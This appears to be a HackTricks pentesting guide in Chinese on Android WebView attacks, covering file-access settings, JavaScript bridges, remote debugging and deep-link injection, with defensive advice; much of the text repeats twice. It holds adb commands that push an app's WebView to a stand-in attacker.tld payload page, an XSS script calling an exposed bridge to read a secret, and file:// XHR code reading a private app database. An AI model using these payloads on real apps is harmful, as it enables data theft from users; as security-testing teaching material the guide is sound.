Webview 攻击

Reading time: 19 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

WebView 配置和安全指南

WebView 漏洞概述

Android 开发的一个关键方面是正确处理 WebViews。本指南强调了关键配置和安全实践,以减轻与 WebView 使用相关的风险。

WebView 示例

WebViews 中的文件访问

默认情况下,WebViews 允许文件访问。此功能由 setAllowFileAccess() 方法控制,自 Android API 级别 3(Cupcake 1.5)以来可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案(file://path/to/file)从外部存储读取文件。

已弃用的功能:从 URL 的通用和文件访问

  • 从文件 URL 的通用访问:此已弃用功能允许来自文件 URL 的跨源请求,由于潜在的 XSS 攻击,构成了重大安全风险。默认设置在针对 Android Jelly Bean 及更高版本的应用中被禁用(false)。
  • 要检查此设置,请使用 getAllowUniversalAccessFromFileURLs()
  • 要修改此设置,请使用 setAllowUniversalAccessFromFileURLs(boolean)
  • 从文件 URL 的文件访问:此功能也已弃用,控制对其他文件方案 URL 内容的访问。与通用访问一样,其默认设置为禁用,以增强安全性。
  • 使用 getAllowFileAccessFromFileURLs() 进行检查,使用 setAllowFileAccessFromFileURLs(boolean) 进行设置。

安全文件加载

为了在仍然访问资产和资源的同时禁用文件系统访问,使用 setAllowFileAccess() 方法。对于 Android R 及更高版本,默认设置为 false

  • 使用 getAllowFileAccess() 进行检查。
  • 使用 setAllowFileAccess(boolean) 启用或禁用。

WebViewAssetLoader

WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地资产和资源,符合同源策略,从而促进 CORS 管理。

loadUrl

这是一个常用函数,用于在 webview 中加载任意 URL:

java
webview.loadUrl("<url here>")

当然,潜在攻击者绝不应该能够控制应用程序将要加载的 URL

JavaScript 和 Intent 方案处理

  • JavaScript:在 WebViews 中默认禁用,可以通过 setJavaScriptEnabled() 启用。建议谨慎操作,因为在没有适当保护的情况下启用 JavaScript 可能会引入安全漏洞。
  • Intent 方案:WebViews 可以处理 intent 方案,如果管理不当,可能导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",可以被利用来执行跨站脚本 (XSS) 攻击。

Vulnerable WebView

使用 adb 的利用示例:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android 提供了一项功能,使得 JavaScript 在 WebView 中能够调用 本地 Android 应用程序功能。这通过利用 addJavascriptInterface 方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要谨慎,因为此方法允许 WebView 中的所有页面访问注册的 JavaScript 接口对象,如果通过这些接口暴露敏感信息,则会带来安全风险。

  • 针对 Android 版本低于 4.2 的应用程序,需要极其谨慎,因为存在一个漏洞,允许通过恶意 JavaScript 进行远程代码执行,利用反射进行攻击。

Implementing a JavaScript Bridge

  • JavaScript 接口 可以与本地代码交互,如示例中所示,类方法被暴露给 JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge 通过向 WebView 添加接口来启用:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • 通过 JavaScript 进行潜在的利用,例如,通过 XSS 攻击,可以调用暴露的 Java 方法:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • 为了降低风险,限制 JavaScript 桥接的使用,仅允许 APK 中的代码,并防止从远程源加载 JavaScript。对于旧设备,将最低 API 级别设置为 17。

基于反射的远程代码执行 (RCE)

  • 一种文档化的方法允许通过反射实现 RCE,方法是执行特定的有效负载。然而,@JavascriptInterface 注解防止未经授权的方法访问,从而限制了攻击面。

远程调试

  • 远程调试 可以通过 Chrome 开发者工具 实现,允许在 WebView 内容中进行交互和任意 JavaScript 执行。

启用远程调试

  • 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • 根据应用程序的可调试状态有条件地启用调试:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

导出任意文件

  • 演示使用 XMLHttpRequest 导出任意文件:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview 攻击

WebView 配置和安全指南

WebView 漏洞概述

Android 开发的一个关键方面是正确处理 WebViews。本指南强调了关键配置和安全实践,以减轻与 WebView 使用相关的风险。

WebView 示例

WebViews 中的文件访问

默认情况下,WebViews 允许文件访问。此功能由 setAllowFileAccess() 方法控制,自 Android API 级别 3(Cupcake 1.5)以来可用。具有 android.permission.READ_EXTERNAL_STORAGE 权限的应用可以使用文件 URL 方案(file://path/to/file)从外部存储读取文件。

已弃用的功能:从 URL 的通用和文件访问

  • 从文件 URL 的通用访问:此已弃用功能允许来自文件 URL 的跨源请求,由于潜在的 XSS 攻击,构成了重大安全风险。默认设置在针对 Android Jelly Bean 及更高版本的应用中被禁用(false)。
  • 要检查此设置,请使用 getAllowUniversalAccessFromFileURLs()
  • 要修改此设置,请使用 setAllowUniversalAccessFromFileURLs(boolean)
  • 从文件 URL 的文件访问:此功能也已弃用,控制对其他文件方案 URL 内容的访问。与通用访问一样,其默认设置为禁用,以增强安全性。
  • 使用 getAllowFileAccessFromFileURLs() 进行检查,使用 setAllowFileAccessFromFileURLs(boolean) 进行设置。

安全文件加载

为了在仍然访问资产和资源的同时禁用文件系统访问,使用 setAllowFileAccess() 方法。对于 Android R 及更高版本,默认设置为 false

  • 使用 getAllowFileAccess() 进行检查。
  • 使用 setAllowFileAccess(boolean) 启用或禁用。

WebViewAssetLoader

WebViewAssetLoader 类是加载本地文件的现代方法。它使用 http(s) URL 访问本地资产和资源,符合同源策略,从而促进 CORS 管理。

loadUrl

这是一个常用函数,用于在 webview 中加载任意 URL:

java
webview.loadUrl("<url here>")

当然,潜在攻击者绝不能控制应用程序将要加载的 URL

深度链接到内部 WebView(自定义方案 → WebView 漏洞)

许多应用程序注册自定义方案/路径,将用户提供的 URL 路由到应用内的 WebView。如果深度链接被导出(VIEW + BROWSABLE),攻击者可以强制应用在其 WebView 上下文中渲染任意远程内容。

典型的清单模式(简化版):

xml
<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

常见代码流程(简化):

java
// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

攻击模式和通过adb的PoC:

bash
# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

影响:远程页面在应用的 WebView 上下文中运行(应用 WebView 配置的 cookies/session,访问任何暴露的 @JavascriptInterface,潜在访问 content:// 和 file://,具体取决于设置)。

狩猎技巧:

  • Grep 反编译的源代码,查找 getQueryParameter("url")loadUrl(WebView sinks 和深度链接处理程序(onCreate/onNewIntent)。
  • 检查清单中的 VIEW+BROWSABLE 过滤器和映射到后续启动 WebView 的活动的自定义方案/主机。
  • 检查是否存在多个深度链接路径(例如,“外部浏览器”路径与“内部 WebView”路径),并优先选择在应用内渲染的路径。

在验证之前启用 JavaScript(检查顺序错误)

一个常见的加固错误是在最终允许列表/验证目标 URL 完成之前启用 JavaScript 或配置放宽的 WebView 设置。如果验证在助手之间不一致或发生得太晚,攻击者的深度链接可能会达到以下状态:

  1. WebView 设置生效(例如,setJavaScriptEnabled(true)),并且
  2. 不受信任的 URL 在启用 JavaScript 的情况下加载。

错误模式(伪代码):

java
// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

为什么它是可利用的

  • 不一致的规范化:辅助程序以不同于最终检查的方式拆分/重建 URL,导致恶意 URL 可以利用的不匹配。
  • 管道顺序错误:在第 2 步中启用 JS 会全局应用于 WebView 实例,即使后续验证失败也会影响最终加载。

如何测试

  • 构造通过早期检查并到达 WebView 配置站点的深链接有效负载。
  • 使用 adb 触发隐式 VIEW 意图,传递由您控制的 url= 参数:
bash
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

如果利用成功,您的有效载荷将在应用的 WebView 中执行 JavaScript。接下来,探测暴露的桥接:

html
<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

防御性指导

  • 仅进行一次规范化;严格根据单一真实来源(方案/主机/路径/查询)进行验证。
  • 仅在所有白名单检查通过后并在加载受信内容之前调用 setJavaScriptEnabled(true)
  • 避免将 @JavascriptInterface 暴露给不受信任的来源;优先考虑每个来源的门控。
  • 考虑为受信和不受信内容使用每个 WebView 实例,默认情况下禁用 JS。

JavaScript 和 Intent 方案处理

  • JavaScript:在 WebView 中默认禁用,可以通过 setJavaScriptEnabled() 启用。建议谨慎操作,因为在没有适当保护的情况下启用 JavaScript 可能会引入安全漏洞。
  • Intent 方案:WebView 可以处理 intent 方案,如果管理不当,可能导致漏洞。一个示例漏洞涉及一个暴露的 WebView 参数 "support_url",该参数可能被利用来执行跨站脚本(XSS)攻击。

Vulnerable WebView

使用 adb 的利用示例:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android 提供了一项功能,使得 JavaScript 在 WebView 中能够调用 本地 Android 应用程序功能。这通过利用 addJavascriptInterface 方法实现,该方法将 JavaScript 与本地 Android 功能集成,称为 WebView JavaScript bridge。需要谨慎,因为此方法允许 WebView 中的所有页面访问注册的 JavaScript 接口对象,如果通过这些接口暴露敏感信息,则会带来安全风险。

  • 针对 Android 版本低于 4.2 的应用程序需要 极其谨慎,因为存在一个漏洞允许通过恶意 JavaScript 进行远程代码执行,利用反射。

Implementing a JavaScript Bridge

  • JavaScript 接口 可以与本地代码交互,如示例所示,其中一个类方法被暴露给 JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge 通过向 WebView 添加接口来启用:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • 通过 JavaScript 进行潜在的利用,例如,通过 XSS 攻击,可以调用暴露的 Java 方法:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • 为了降低风险,限制 JavaScript 桥接的使用,仅允许 APK 中的代码,并防止从远程源加载 JavaScript。对于旧设备,将最低 API 级别设置为 17。

基于反射的远程代码执行 (RCE)

  • 一种文档化的方法允许通过反射实现 RCE,方法是执行特定的有效负载。然而,@JavascriptInterface 注解防止未经授权的方法访问,从而限制了攻击面。

远程调试

  • 远程调试 可以通过 Chrome 开发者工具 实现,允许在 WebView 内容中进行交互和任意 JavaScript 执行。

启用远程调试

  • 可以通过以下方式为应用程序中的所有 WebView 启用远程调试:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • 根据应用程序的可调试状态有条件地启用调试:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

导出任意文件

  • 演示了使用 XMLHttpRequest 导出任意文件:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

References

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks